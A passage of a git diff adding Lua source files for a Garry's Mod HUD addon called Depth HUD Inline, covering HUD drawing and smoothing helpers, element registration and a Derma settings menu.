"") then + fontSmall = dhinline_GetAppropriateFont(smallText,0) + draw.SimpleText(smallText, fontSmall, xText, yTextSmall, textColorSmall, 1, 1 ) + end +end + +function dhinline_DrawVolatile( xRel, yRel, width, height, xRelOffset, yRelOffset, text, textColor, lagMultiplier, fontChoice) + local xCalc, yCalc = dhinline_CalcCenter( xRel , yRel , width , height ) + local xCalcOffset, yCalcOffset = xRelOffset*0.5*width, yRelOffset*0.5*height + + xCalc, yCalc = xCalc + xCalcOffset + dhinline_dat.ui_hudlag.x*lagMultiplier , yCalc + yCalcOffset + dhinline_dat.ui_hudlag.y*lagMultiplier + + + //dhradar_DrawDebug(xCalc, yCalc, Color(0,255,0)) + + local font = dhinline_GetAppropriateFont(text, fontChoice) + draw.SimpleText(text, font, xCalc, yCalc, textColor, 1, 1 ) +end + +function dhinline_DrawGenericContentbox(xRel, yRel, width, height, text, smallText, textColor, textColorSmall, fontChoice) + local xCenter,yCenter = dhinline_CalcCenter( xRel , yRel , width , height , fontChoice) + + local xText,yText = 0,0 + local yTextSmall = 0 + local fontSmall = "" + + //dhradar_DrawDebug(xCenter, yCenter, Color(255,0,0)) + + + local boxSizeCalc = (height/44) + local boxRound = 8 + if boxSizeCalc <= 0.75 && boxSizeCalc > 0.5 then + boxRound = 6 + elseif boxSizeCalc <= 0.5 && boxSizeCalc > 0.25 then + boxRound = 4 + elseif boxSizeCalc <= 0.25 then + boxRound = 0 + else + boxRound = 8 + end + + draw.RoundedBox(boxRound, dhinline_dat.ui_hudlag.x*PARAM_HUDLAG_BOX + xCenter - width*0.5, dhinline_dat.ui_hudlag.y*PARAM_HUDLAG_BOX + yCenter - height*0.5, width, height, dhinline_dat.ui_backcolor) + + textColor = textColor or dhinline_dat.ui_basecolor + textColorSmall = textColorSmall or textColor + + yText = dhinline_dat.ui_hudlag.y*PARAM_HUDLAG_TEXT + yCenter - height*0.02 + yTextSmall = dhinline_dat.ui_hudlag.y*PARAM_HUDLAG_TEXT + yCenter + height*0.40 + + xText = dhinline_dat.ui_hudlag.x*PARAM_HUDLAG_TEXT + xCenter + + local font = dhinline_GetAppropriateFont(text, fontChoice) + draw.SimpleText(text, font, xText, yText, textColor, 1, 1 ) + + if (smallText != "") then + local fontSmall = dhinline_GetAppropriateFont(smallText, 0) + draw.SimpleText(smallText, fontSmall, xText, yTextSmall, textColorSmall, 1, 1 ) + end +end + +function dhinline_DrawGenericText(xRel, yRel, width, height, text, smallText, textColor, textColorSmall, fontChoice, lagMultiplier, insideBoxXEquirel, insideBoxYEquirel) + local xCenter,yCenter = dhinline_CalcCenter( xRel , yRel , width , height , fontChoice) + textColor = textColor or dhinline_dat.ui_basecolor + textColorSmall = textColorSmall or textColor + + xText = dhinline_dat.ui_hudlag.x*PARAM_HUDLAG_TEXT + xCenter + insideBoxXEquirel*0.5*width + + yText = dhinline_dat.ui_hudlag.y*PARAM_HUDLAG_TEXT + yCenter - height*0.02 + insideBoxYEquirel*0.5*height + yTextSmall = dhinline_dat.ui_hudlag.y*PARAM_HUDLAG_TEXT + yCenter + height*0.40 + insideBoxYEquirel*0.5*height + + local font = dhinline_GetAppropriateFont(text, fontChoice) + draw.SimpleText(text, font, xText, yText, textColor, 1, 1 ) + + if (smallText != "") then + local fontSmall = dhinline_GetAppropriateFont(smallText, 0) + draw.SimpleText(smallText, fontSmall, xText, yTextSmall, textColorSmall, 1, 1 ) + end +end + +/////////////////////////////////////////////////////////////////////////// +/////////////////////////////////////////////////////////////////////////// +//// VOLATILE ACCUMULATION FUNCTIONS. DO NOT USE IN YOUR ELEMENTS. +//// READ cl_dhinline_element.lua FOR VOLATILE FUNCTIONS. + +function dhinline_GetVolatileStorage(name) + if (dhinline_dat.STOR_HUDPATCH_Volatile[name] == nil) then + return nil + end + return dhinline_dat.STOR_HUDPATCH_Volatile[name][10] or nil +end + +function dhinline_UpdateVolatile(name, xRel, yRel, width, height, xRelOffset, yRelOffset, text, textColor, lagMultiplier, fontChoice, duration, fadePower, storage) + dhinline_dat.STOR_HUDPATCH_Volatile[name] = {} + dhinline_dat.STOR_HUDPATCH_Volatile[name][1] = xRel + dhinline_dat.STOR_HUDPATCH_Volatile[name][2] = yRel + dhinline_dat.STOR_HUDPATCH_Volatile[name][3] = text + dhinline_dat.STOR_HUDPATCH_Volatile[name][4] = textColor + dhinline_dat.STOR_HUDPATCH_Volatile[name][5] = lagMultiplier + dhinline_dat.STOR_HUDPATCH_Volatile[name][6] = duration + dhinline_dat.STOR_HUDPATCH_Volatile[name][7] = fadePower + dhinline_dat.STOR_HUDPATCH_Volatile[name][8] = fontChoice + dhinline_dat.STOR_HUDPATCH_Volatile[name][9] = RealTime() + dhinline_dat.STOR_HUDPATCH_Volatile[name][10] = storage + dhinline_dat.STOR_HUDPATCH_Volatile[name][11] = width + dhinline_dat.STOR_HUDPATCH_Volatile[name][12] = height + dhinline_dat.STOR_HUDPATCH_Volatile[name][13] = xRelOffset + dhinline_dat.STOR_HUDPATCH_Volatile[name][14] = yRelOffset +end + +local function dhinline_DrawVolatiles() + for name,subtable in pairs(dhinline_dat.STOR_HUDPATCH_Volatile) do + if (subtable[1] != nil) then + local timeSpawned = dhinline_dat.STOR_HUDPATCH_Volatile[name][9] + local duration = dhinline_dat.STOR_HUDPATCH_Volatile[name][6] + + if ((RealTime() - timeSpawned) > duration) then + dhinline_dat.STOR_HUDPATCH_Volatile[name] = {nil} + else + local stayedUpRel = (RealTime() - timeSpawned) / duration + + local xRel = dhinline_dat.STOR_HUDPATCH_Volatile[name][1] + local yRel = dhinline_dat.STOR_HUDPATCH_Volatile[name][2] + local text = dhinline_dat.STOR_HUDPATCH_Volatile[name][3] + local lagMultiplier = dhinline_dat.STOR_HUDPATCH_Volatile[name][5] + local fadePower = dhinline_dat.STOR_HUDPATCH_Volatile[name][7] + local fontChoice = dhinline_dat.STOR_HUDPATCH_Volatile[name][8] + local width = dhinline_dat.STOR_HUDPATCH_Volatile[name][11] + local height = dhinline_dat.STOR_HUDPATCH_Volatile[name][12] + local xRelOffset = dhinline_dat.STOR_HUDPATCH_Volatile[name][13] + local yRelOffset = dhinline_dat.STOR_HUDPATCH_Volatile[name][14] + + local textColor = Color(dhinline_dat.STOR_HUDPATCH_Volatile[name][4].r, dhinline_dat.STOR_HUDPATCH_Volatile[name][4].g, dhinline_dat.STOR_HUDPATCH_Volatile[name][4].b, dhinline_dat.STOR_HUDPATCH_Volatile[name][4].a) + textColor.a = textColor.a * (1 - (stayedUpRel^fadePower)) + + dhinline_DrawVolatile(xRel, yRel, width, height, xRelOffset, yRelOffset, text, textColor, lagMultiplier, fontChoice) + end + end + + end +end + +function dhinline_DeleteAllVolatiles() + dhinline_dat.STOR_HUDPATCH_Volatile = {} +end + +/////////////////////////////////////////////////////////////////////////// +/////////////////////////////////////////////////////////////////////////// +//// SMOOTHING FUNCTIONS. DO NOT USE IN YOUR ELEMENTS. +//// READ cl_dhinline_element.lua FOR SMOOTHING FUNCTIONS. + +function dhinline_CreateSmoother(strName, numInit, numRate) + --[[{Target, Current, Rate} + if dhinline_dat.STOR_Smoothers[strName] then return end + numRate = math.Clamp(numRate,0.001,1) ]] + local numCurrent = nil + if type(numInit) == "table" then + numCurrent = table.Copy(numInit) + else + numCurrent = numInit + end + dhinline_dat.STOR_Smoothers[strName] = {numInit, numCurrent, numRate} +end + +function dhinline_ChangeSmootherTarget(strName, numTarget) + if not dhinline_dat.STOR_Smoothers[strName] then print("dhinline ERROR : ChangeSmootherTarget has requested field " .. strName .." which hasn't been created !") return end + dhinline_dat.STOR_Smoothers[strName][1] = numTarget +end + +function dhinline_ChangeSmootherRate(strName, numRate) + if not dhinline_dat.STOR_Smoothers[strName] then print("dhinline ERROR : ChangeSmootherRate has requested field " .. strName .." which hasn't been created !") return end + dhinline_dat.STOR_Smoothers[strName][3] = numRate +end + +function dhinline_GetSmootherCurrent(strName) + if not dhinline_dat.STOR_Smoothers[strName] then print("dhinline ERROR : GetSmootherCurrent has requested field " .. strName .." which hasn't been created !") return nil end + return dhinline_dat.STOR_Smoothers[strName][2] +end + + + +local function dhinline_RecalcAllSmoothers() + local previousCurrent = 0 + for name,subtable in pairs(dhinline_dat.STOR_Smoothers) do + if (type(dhinline_dat.STOR_Smoothers[name][2]) == "table") then + for subkey,value in pairs(dhinline_dat.STOR_Smoothers[name][2]) do + previousCurrent = dhinline_dat.STOR_Smoothers[name][2][subkey] + dhinline_dat.STOR_Smoothers[name][2][subkey] = dhinline_dat.STOR_Smoothers[name][2][subkey] + (dhinline_dat.STOR_Smoothers[name][1][subkey] - dhinline_dat.STOR_Smoothers[name][2][subkey]) * dhinline_dat.STOR_Smoothers[name][3] * FrameTime() * 50 + if (previousCurrent < dhinline_dat.STOR_Smoothers[name][1][subkey]) and (dhinline_dat.STOR_Smoothers[name][2][subkey] > dhinline_dat.STOR_Smoothers[name][1][subkey]) then + dhinline_dat.STOR_Smoothers[name][2][subkey] = dhinline_dat.STOR_Smoothers[name][1][subkey] + elseif (previousCurrent > dhinline_dat.STOR_Smoothers[name][1][subkey]) and (dhinline_dat.STOR_Smoothers[name][2][subkey] < dhinline_dat.STOR_Smoothers[name][1][subkey]) then + dhinline_dat.STOR_Smoothers[name][2][subkey] = dhinline_dat.STOR_Smoothers[name][1][subkey] + end + end + else + dhinline_dat.STOR_Smoothers[name][2] = dhinline_dat.STOR_Smoothers[name][2] + (dhinline_dat.STOR_Smoothers[name][1] - dhinline_dat.STOR_Smoothers[name][2]) * math.Clamp( dhinline_dat.STOR_Smoothers[name][3] * 0.5 * FrameTime() * 50 , 0 , 1 ) + end + end +end + +function dhinline_DeleteAllSmoothers() + dhinline_dat.STOR_Smoothers = {} +end + + +local function dhinline_DrawElements() + for k,name in pairs( dhinline_dat.STOR_ElementNamesTable ) do + local ELEMENT = dhinline.Get(name) + if (ELEMENT and ( GetConVarNumber( "dhinline_element_" .. name ) > 0 ) and ELEMENT.DrawFunction) then + ELEMENT:DrawFunction( ) + end + end +end + + +///////////////////////////////////////////////////////////////////////// +///////////////////////////////////////////////////////////////////////// +//// THE MAIN HOOK - THINK . + +function dhinline_InitializeMisc() + dhinline_CreateSmoother("__dynamicbackground",color_white,0.05) +end + +function dhinlineHUDPaint(name) + if GetConVarNumber("dhinline_enable") <= 0 then return end + + dhinline_dat.ui_edgeSpacingRel = GetConVarNumber("dhinline_ui_spacing") * 0.015 + dhinline_dat.ui_hudlag.mul = GetConVarNumber("dhinline_ui_hudlag_mul") + dhinline_dat.ui_hudlag.retab = GetConVarNumber("dhinline_ui_hudlag_retab") + + dhinline_dat.ui_drawglow = GetConVarNumber("dhinline_ui_drawglow") + dhinline_dat.ui_blendfonts = GetConVarNumber("dhinline_ui_blendfonts") + + dhinline_dat.ui_basecolor.r = GetConVarNumber("dhinline_col_base_r") + dhinline_dat.ui_basecolor.g = GetConVarNumber("dhinline_col_base_g") + dhinline_dat.ui_basecolor.b = GetConVarNumber("dhinline_col_base_b") + dhinline_dat.ui_basecolor.a = GetConVarNumber("dhinline_col_base_a") + + dhinline_dat.ui_basecolor_lesser.r = dhinline_dat.ui_basecolor.r + dhinline_dat.ui_basecolor_lesser.g = dhinline_dat.ui_basecolor.g + dhinline_dat.ui_basecolor_lesser.b = dhinline_dat.ui_basecolor.b + dhinline_dat.ui_basecolor_lesser.a = dhinline_dat.ui_basecolor.a*0.5 + + dhinline_dat.STOR_DynamicBackCalc.r = GetConVarNumber("dhinline_col_back_r") + dhinline_dat.STOR_DynamicBackCalc.g = GetConVarNumber("dhinline_col_back_g") + dhinline_dat.STOR_DynamicBackCalc.b = GetConVarNumber("dhinline_col_back_b") + dhinline_dat.STOR_DynamicBackCalc.a = GetConVarNumber("dhinline_col_back_a") + + if (GetConVarNumber("dhinline_ui_dynamicbackground") > 0) then + local lcolor = render.GetLightColor( EyePos() ) * 2 + lcolor.x = math.Clamp( lcolor.x, 0, 1 ) + lcolor.y = math.Clamp( lcolor.y, 0, 1 ) + lcolor.z = math.Clamp( lcolor.z, 0, 1 ) + + local lightlevel_darkness = ( 1 - (lcolor.x + lcolor.y + lcolor.z) / 3 ) * 0.3 + + local reflectcookie = math.cos(math.rad(2*EyeAngles().y+75)) * math.sin(math.rad(EyeAngles().p + 90)) * 0.2 + 0.8 + dhinline_dat.STOR_DynamicBackCalc.r = dhinline_dat.STOR_DynamicBackCalc.r + (255 - dhinline_dat.STOR_DynamicBackCalc.r) * lightlevel_darkness + dhinline_dat.STOR_DynamicBackCalc.g = dhinline_dat.STOR_DynamicBackCalc.g + (255 - dhinline_dat.STOR_DynamicBackCalc.g) * lightlevel_darkness + dhinline_dat.STOR_DynamicBackCalc.b = dhinline_dat.STOR_DynamicBackCalc.b + (255 - dhinline_dat.STOR_DynamicBackCalc.b) * lightlevel_darkness + dhinline_dat.STOR_DynamicBackCalc.a = dhinline_dat.STOR_DynamicBackCalc.a * reflectcookie + + //We shouldn't need that due to the pointer + dhinline_ChangeSmootherTarget("__dynamicbackground", dhinline_dat.STOR_DynamicBackCalc) + + dhinline_dat.ui_backcolor = dhinline_GetSmootherCurrent("__dynamicbackground") + else + dhinline_dat.ui_backcolor.r = dhinline_dat.STOR_DynamicBackCalc.r + dhinline_dat.ui_backcolor.g = dhinline_dat.STOR_DynamicBackCalc.g + dhinline_dat.ui_backcolor.b = dhinline_dat.STOR_DynamicBackCalc.b + dhinline_dat.ui_backcolor.a = dhinline_dat.STOR_DynamicBackCalc.a + end + + //Calc all required inline + dhinline_CalcHudLag() + dhinline_RecalcAllSmoothers() + + //Draw all the elements + dhinline_DrawElements() + dhinline_DrawVolatiles() +end +//hook.Add("HUDPaint","dhinlineHUDPaint",dhinlineHUDPaint) + +local function dhinlineHideHUD(name) + if GetConVarNumber("dhinline_disabledefault") <= 0 then return end + + if name == "CHudHealth" then return false end + if name == "CHudBattery" then return false end + if name == "CHudAmmo" then return false end + if name == "CHudSecondaryAmmo" then return false end +end +hook.Add("HUDShouldDraw","dhinlineHideHUD",dhinlineHideHUD) + + +///////////////////////////////////////////////////////////////////////// +///////////////////////////////////////////////////////////////////////// +//// PANEL . + + +function dhinline_dat.Panel(Panel) + Panel:AddControl("Checkbox", { + Label = "Enable", + Description = "Enable", + Command = "dhinline_enable" + } + ) + Panel:AddControl("Checkbox", { + Label = "Disable Base HUD", + Description = "Disable Base HUD", + Command = "dhinline_disabledefault" + } + ) + Panel:AddControl("Slider", { + Label = "HUD Lag", + Type = "Float", + Min = "0", + Max = "0.4", + Command = "dhinline_ui_hudlag" + } + ) + Panel:AddControl("Button", { + Label = "Reload Element Files", + Description = "Reload Element Files", + Command = "dhinline_reloadelements" + } + ) + Panel:AddControl("Button", { + Label = "Open Menu (dhinline_menu)", + Description = "Open Menu (dhinline_menu)", + Command = "dhinline_menu" + } + ) + + Panel:Help("To trigger the menu in any gamemode, type dhinline_menu in the console, or bind this command to any key.") +end + +function dhinline_dat.AddPanel() + spawnmenu.AddToolMenuOption("Options","Player","Depth HUD Inline","Depth HUD Inline","","",dhinline_dat.Panel,{SwitchConVar = 'dhinline_enable'}) +end + +hook.Add( "PopulateToolMenu", "AddDepthHUDInlinePanel", dhinline_dat.AddPanel ) + +///////////////////////////////////////////////////////////////////////// +///////////////////////////////////////////////////////////////////////// +//// STARTING UP . + +dhinline_LoadAllElements() + +///////////////////////////////////////////////////////////////////////// +///////////////////////////////////////////////////////////////////////// \ No newline at end of file diff --git a/Repos/HeXs_DepthHUD-master/lua/cl_dhinline_element.lua b/Repos/HeXs_DepthHUD-master/lua/cl_dhinline_element.lua new file mode 100644 index 0000000..4d5c22f --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/cl_dhinline_element.lua @@ -0,0 +1,199 @@ +//////////////////////////////////////////////// +// -- Depth HUD : Inline // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// The Element Module, to register easily // +//////////////////////////////////////////////// + +module( "dhinline", package.seeall ) + +local Elements = {} +local Elements_names = {} + + + +local ELEMENT = {} + +function ELEMENT:GetMyGridPos() + return GetConVarNumber("dhinline_element_" .. self._rawname .. "_x"), GetConVarNumber("dhinline_element_" .. self._rawname .. "_y") +end + +function ELEMENT:GetMySizes() + local xGeneric, yGeneric = dhinline_GetGenericBoxSizes() + local xSize, ySize = self.SizeX, self.SizeY + if ySize then + if (ySize < 0) then + ySize = yGeneric * (-ySize) + elseif (xSize == 0) then + ySize = yGeneric + end + else + ySize = yGeneric + end + if xSize then + if (xSize < 0) then + xSize = xGeneric * (-xSize) + elseif (xSize == 0) then + xSize = ySize or yGeneric + end + else + xSize = xGeneric + end + if xSize < ySize then + xSize = ySize + end + + + return xSize, ySize +end + +function ELEMENT:GetMySmootherFullName( stringSuffix ) + return self._rawname .. "_" .. stringSuffix +end + +function ELEMENT:CreateSmoother(stringSuffix, numInit, numRate) + dhinline_CreateSmoother( self:GetMySmootherFullName( stringSuffix ), numInit, numRate) +end + +function ELEMENT:ChangeSmootherTarget(stringSuffix, numTarget) + dhinline_ChangeSmootherTarget( self:GetMySmootherFullName( stringSuffix ), numTarget ) +end + +function ELEMENT:ChangeSmootherRate(stringSuffix, numRate) + dhinline_ChangeSmootherRate( self:GetMySmootherFullName( stringSuffix ), numRate ) +end + +function ELEMENT:GetSmootherCurrent(stringSuffix) + return dhinline_GetSmootherCurrent( self:GetMySmootherFullName( stringSuffix ) ) +end + +/* +function ELEMENT:GetMyConVarFullName( stringSuffix ) + return "dhinline_" .. self._rawname .. "_" .. stringSuffix +end + +function ELEMENT:MakeMyConVar( stringSuffix, valueDefault, bPersist, bSth) + CreateClientConVar( self:GetMyConVarFullName( stringSuffix ), valueDefault, bPersist, bSth) + if not self.__myConVarsDefaults then + self.__myConVarsDefaults = {} + end + self.__myConVarsDefaults[stringSuffix] = valueDefault; +end + +function ELEMENT:ForceChangeMyConVar( stringSuffix, value ) + RunConsoleCommand( self:GetMyConVarFullName( stringSuffix ) , value) +end + +function ELEMENT:ResetMyConVars( ) + if not self.__myConVarsDefaults then return end + + for suffix,value in pairs(self.__myConVars) do + self:ForceChangeMyConVar(suffix, self.__myConVarsDefaults[suffix]) + end +end + +function ELEMENT:CreateMyPanel( myDPanelList ) +end +*/ +function ELEMENT:DrawGenericInfobox(text, smallText, rate, boxIsAtRight, falseColor, trueColor, minSize, maxSize, blinkBelowRate, blinkSize, mainFontChoice, useStaticTextColor, opt_textColor, opt_smallTextColor) + + local xGrid, yGrid = self:GetMyGridPos() + local xRel , yRel = dhinline_GetRelPosFromGrid( xGrid, yGrid ) + + local width, height = self:GetMySizes() + + dhinline_DrawGenericInfobox(xRel, yRel, width, height, text, smallText, rate, boxIsAtRight, falseColor, trueColor, minSize, maxSize, blinkBelowRate, blinkSize, mainFontChoice, useStaticTextColor, opt_textColor, opt_smallTextColor) +end + + +function ELEMENT:DrawGenericContentbox(text, smallText, textColor, textColorSmall, fontChoice) + + local xGrid, yGrid = self:GetMyGridPos() + local xRel, yRel = dhinline_GetRelPosFromGrid( xGrid, yGrid ) + + local width, height = self:GetMySizes() + + dhinline_DrawGenericContentbox(xRel, yRel, width, height, text, smallText, textColor, textColorSmall, fontChoice) +end + +function ELEMENT:DrawGenericText(text, smallText, textColor, textColorSmall, fontChoice, lagMultiplier, insideBoxXEquirel, insideBoxYEquirel) + local xGrid, yGrid = self:GetMyGridPos() + local xRel, yRel = dhinline_GetRelPosFromGrid( xGrid, yGrid ) + + local width, height = self:GetMySizes() + + dhinline_DrawGenericText(xRel, yRel, width, height, text, smallText, textColor, textColorSmall, fontChoice, lagMultiplier, insideBoxXEquirel, insideBoxYEquirel) +end + +function ELEMENT:UpdateVolatile(name, xRelOffset, yRelOffset, text, textColor, lagMultiplier, fontChoice, duration, fadePower, storage) + local xGrid, yGrid = self:GetMyGridPos() + local xRel , yRel = dhinline_GetRelPosFromGrid( xGrid, yGrid ) + + local width, height = self:GetMySizes() + + dhinline_UpdateVolatile(name, xRel, yRel, width, height, xRelOffset, yRelOffset, text, textColor, lagMultiplier, fontChoice, duration, fadePower, storage) +end + + + +local element_meta = {__index=ELEMENT} + +function Register(name, element) + if string.find( name , " " ) then return end + + element._rawname = name + element.Name = element.Name or name + setmetatable(element, element_meta) + + Elements[name] = element + table.insert(Elements_names, name) + + /*local cstr = "" + if (element.DefaultOff or false) then + cstr = "0" + else + cstr = "1" + end*/ + CreateClientConVar("dhinline_element_" .. name, ( not (dhinline.Get(name).DefaultOff or false ) ) and "1" or "0", true, false) + CreateClientConVar("dhinline_element_" .. name .. "_x", element.DefaultGridPosX or 0, true, false) + CreateClientConVar("dhinline_element_" .. name .. "_y", element.DefaultGridPosY or 0, true, false) +end + +function RemoveAll() + Elements = {} + Elements_names = {} + + dhinline_DeleteAllSmoothers() + dhinline_DeleteAllVolatiles() +end + +function Get(name) + if Elements[name] == nil then return nil end + return Elements[name] or nil +end + +function GetNamesTable() + return table.Copy(Elements_names) +end + +function GetConVarTable() + local ConVars = {} + for k,name in pairs(Elements_names) do + table.insert(ConVars, "dhinline_element_" .. name) + table.insert(ConVars, "dhinline_element_" .. name .. "_x") + table.insert(ConVars, "dhinline_element_" .. name .. "_y") + end + return ConVars +end + +function GetAllDefaultsTable() + local Defaults = {} + for k,name in pairs(Elements_names) do + Defaults["dhinline_element_" .. name] = ( not (dhinline.Get(name).DefaultOff or false ) ) and "1" or "0" + Defaults["dhinline_element_" .. name .. "_x"] = dhinline.Get(name).DefaultGridPosX + Defaults["dhinline_element_" .. name .. "_y"] = dhinline.Get(name).DefaultGridPosY + end + return Defaults +end diff --git a/Repos/HeXs_DepthHUD-master/lua/cl_dhinline_elementpanel.lua b/Repos/HeXs_DepthHUD-master/lua/cl_dhinline_elementpanel.lua new file mode 100644 index 0000000..172786c --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/cl_dhinline_elementpanel.lua @@ -0,0 +1,371 @@ +//////////////////////////////////////////////// +// -- Depth HUD : Inline // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// The Menu // +//////////////////////////////////////////////// + +HeXInclude( 'DSysButton.lua' ) +HeXInclude( 'DMultiChoice.lua' ) +HeXInclude( 'CtrlColor.lua' ) +HeXInclude( 'DhCheckPos.lua' ) +HeXInclude( 'control_presets.lua' ) + +local MY_VERSION = 1337--tonumber(string.Explode( "\n", file.Read("depthhud_inline.txt", "DATA"))[1]) +local SVN_VERSION = 1337 +local DOWNLOAD_LINK = "Gone" + +//// +// Condefs/convars code taken from SmartSnap +local style_condefs = { + dhinline_col_base_r = 255, + dhinline_col_base_g = 220, + dhinline_col_base_b = 0, + dhinline_col_base_a = 192, + + dhinline_col_back_r = 0, + dhinline_col_back_g = 0, + dhinline_col_back_b = 0, + dhinline_col_back_a = 92, + + dhinline_ui_blendfonts = "1", + dhinline_ui_drawglow = "0", + dhinline_ui_dynamicbackground = "0", + + dhinline_ui_spacing = 1 +} + +local style_convars = {} + +for key,value in pairs(style_condefs) do + style_convars[#style_convars + 1] = key +end + +/*local my_preset_opts = { + options = { ["default"] = style_condefs }, + cvars = style_convars, + folder = "dhinline_style" + }*/ + +//// + +function dhinline_RevertStyle() + for k,v in pairs(style_condefs) do + RunConsoleCommand(k, v) + end +end +concommand.Add("dhinline_revertstyle", dhinline_RevertStyle) + +function dhinline_GetVersionData() + return MY_VERSION, SVN_VERSION, DOWNLOAD_LINK +end + +--[[ +local function dhinline_GetVersion( contents , size ) + //Taken from RabidToaster Achievements mod. + local split = string.Explode( "\n", contents ) + local version = tonumber( split[ 1 ] or "" ) + + if ( !version ) then + SVN_VERSION = -1 + return + end + + SVN_VERSION = version + + if ( split[ 2 ] ) then + DOWNLOAD_LINK = split[ 2 ] + end +end + +http.Get( "http://depthhudinfo.googlecode.com/svn/trunk/data/depthhud_inline.txt", "", dhinline_GetVersion ) +]] + +function dhinline_MakePresetPanel( data ) + local ctrl = vgui.Create("ControlPresets") + + ctrl:SetPreset( data.folder ) + + if ( data.options ) then + for k, v in pairs( data.options ) do + if ( k != "id" ) then + ctrl:AddOption( k, v ) + end + end + end + + if ( data.cvars ) then + for k, v in pairs( data.cvars ) do + ctrl:AddConVar( v ) + end + end + + return ctrl +end + +function dhinline_ShowMenu() + local DermaPanel = vgui.Create( "DFrame" ) + //local w,h = 288,288 + local w,h = 288,ScrH()*0.6 + local border = 4 + local W_WIDTH = w - 2*border + + ////// // // THE FRAME + DermaPanel:SetPos( ScrW()*0.5 - w*0.5 , ScrH()*0.5 - h*0.5 ) + DermaPanel:SetSize( w, h ) + DermaPanel:SetTitle( "DepthHUD Inline" ) + DermaPanel:SetVisible( true ) + DermaPanel:SetDraggable( true ) + DermaPanel:ShowCloseButton( true ) + DermaPanel:MakePopup() + + local PanelList = vgui.Create( "DPanelList", DermaPanel ) + PanelList:SetPos( border , 22 + border ) + PanelList:SetSize( W_WIDTH, h - 2*border - 22 ) + //PanelList:SetAutoSize( true ) + PanelList:SetSpacing( 5 ) + PanelList:EnableHorizontal( false ) + PanelList:EnableVerticalScrollbar( true ) + + ////// CATEGORY : GENERAL + local GeneralCategory = vgui.Create("DCollapsibleCategory", PanelList) + GeneralCategory:SetSize( W_WIDTH, 50 ) + GeneralCategory:SetExpanded( 1 ) -- Expanded when popped up + GeneralCategory:SetLabel( "General" ) + + local GeneralCatList = vgui.Create( "DPanelList" ) + GeneralCatList:SetSize(W_WIDTH, h - 160 ) + GeneralCatList:SetAutoSize( true ) + GeneralCatList:EnableHorizontal( false ) + GeneralCatList:EnableVerticalScrollbar( false ) + + // ENABLE CHECK + local GeneralEnableCheck = vgui.Create( "DCheckBoxLabel" ) + GeneralEnableCheck:SetText( "Enable" ) + GeneralEnableCheck:SetConVar( "dhinline_enable" ) + GeneralEnableCheck:SetValue( GetConVarNumber( "dhinline_enable" ) ) + + // DISABLE BASE HUD CHECK + local GeneralDefaultCheck = vgui.Create( "DCheckBoxLabel" ) + GeneralDefaultCheck:SetText( "Disable Base HUD" ) + GeneralDefaultCheck:SetConVar( "dhinline_disabledefault" ) + GeneralDefaultCheck:SetValue( GetConVarNumber( "dhinline_disabledefault" ) ) + + // DHDIV + local GeneralTextLabel = vgui.Create("DLabel") + local GeneralTextLabelMessage = "The command \"dhinline_menu\" calls this menu.\n" + if not (MY_VERSION and SVN_VERSION and (MY_VERSION < SVN_VERSION)) then + GeneralTextLabelMessage = GeneralTextLabelMessage .. "Example : To assign inline menu to F7, type in the console :" + else + GeneralTextLabelMessage = GeneralTextLabelMessage .. "Your version is "..MY_VERSION.." and the updated one is "..SVN_VERSION.." ! You should update !" + end + GeneralTextLabel:SetWrap( true ) + GeneralTextLabel:SetText( GeneralTextLabelMessage ) + GeneralTextLabel:SetContentAlignment( 7 ) + GeneralTextLabel:SetSize( W_WIDTH, 40 ) + + // DHMENU BUTTON + local GeneralCommandLabel = vgui.Create("DTextEntry") + if not (MY_VERSION and SVN_VERSION and (MY_VERSION < SVN_VERSION) and DOWNLOAD_LINK) then + GeneralCommandLabel:SetText( "bind \"F7\" \"dhinline_menu\"" ) + else + GeneralCommandLabel:SetText( DOWNLOAD_LINK ) + end + GeneralCommandLabel:SetEditable( false ) + + // HUDLAG MUL + local GeneralHudlagMulSlider = vgui.Create("DNumSlider") + GeneralHudlagMulSlider:SetText( "HUD Lag : Dispersion" ) + GeneralHudlagMulSlider:SetMin( 0 ) + GeneralHudlagMulSlider:SetMax( 4 ) + GeneralHudlagMulSlider:SetDecimals( 2 ) + GeneralHudlagMulSlider:SetConVar("dhinline_ui_hudlag_mul") + + // HUDLAG RETAB + local GeneralHudlagRetabSlider = vgui.Create("DNumSlider") + GeneralHudlagRetabSlider:SetText( "HUD Lag : Repel (0.2 Recommended)" ) + GeneralHudlagRetabSlider:SetMin( 0.1 ) + GeneralHudlagRetabSlider:SetMax( 0.4 ) + GeneralHudlagRetabSlider:SetDecimals( 2 ) + GeneralHudlagRetabSlider:SetConVar("dhinline_ui_hudlag_retab") + + // MAKE: GENERAL + GeneralCatList:AddItem( GeneralEnableCheck ) //Adds the ENABLE CHECK + GeneralCatList:AddItem( GeneralDefaultCheck ) //Adds the DEFAULT CHECK + GeneralCatList:AddItem( GeneralHudlagMulSlider ) //Adds the HUD LAG MUL SLIDER + GeneralCatList:AddItem( GeneralHudlagRetabSlider ) //Adds the HUD LAG RETAB SLIDER + GeneralCatList:AddItem( GeneralTextLabel ) //Adds the DHDIV + GeneralCatList:AddItem( GeneralCommandLabel ) //Adds the DHMENU + GeneralCatList:InvalidateLayout(true) + //GeneralCatList:SizeToContents() + GeneralCategory:SetContents( GeneralCatList ) //CATEGORY GENERAL FILLED + + + + ////// CATEGORY : ELEMENTS + local ElementsCategory = vgui.Create("DCollapsibleCategory", PanelList) + ElementsCategory:SetSize( W_WIDTH, 50 ) + ElementsCategory:SetExpanded( 0 ) -- Expanded when popped up + ElementsCategory:SetLabel( "Elements" ) + + local ElementsCatList = vgui.Create( "DPanelList" ) + ElementsCatList:SetAutoSize( true ) + ElementsCatList:SetSize(W_WIDTH, h - 70 ) + ElementsCatList:EnableHorizontal( false ) + ElementsCatList:EnableVerticalScrollbar( false ) + + // PRESETS : ELEMENTS + local ElementsCompoSaver = dhinline_MakePresetPanel( { + options = { ["default"] = dhinline.GetAllDefaultsTable() }, + cvars = dhinline.GetConVarTable(), + folder = "dhinline_elements" + } ) + + // MAIN ELEMENT LIST + local ElementsList = vgui.Create( "DPanelList" ) + ElementsList:SetAutoSize( true ) + ElementsList:SetSize( W_WIDTH, h - 150 ) + ElementsList:SetSpacing( 5 ) + ElementsList:EnableHorizontal( false ) + ElementsList:EnableVerticalScrollbar( true ) + local names = 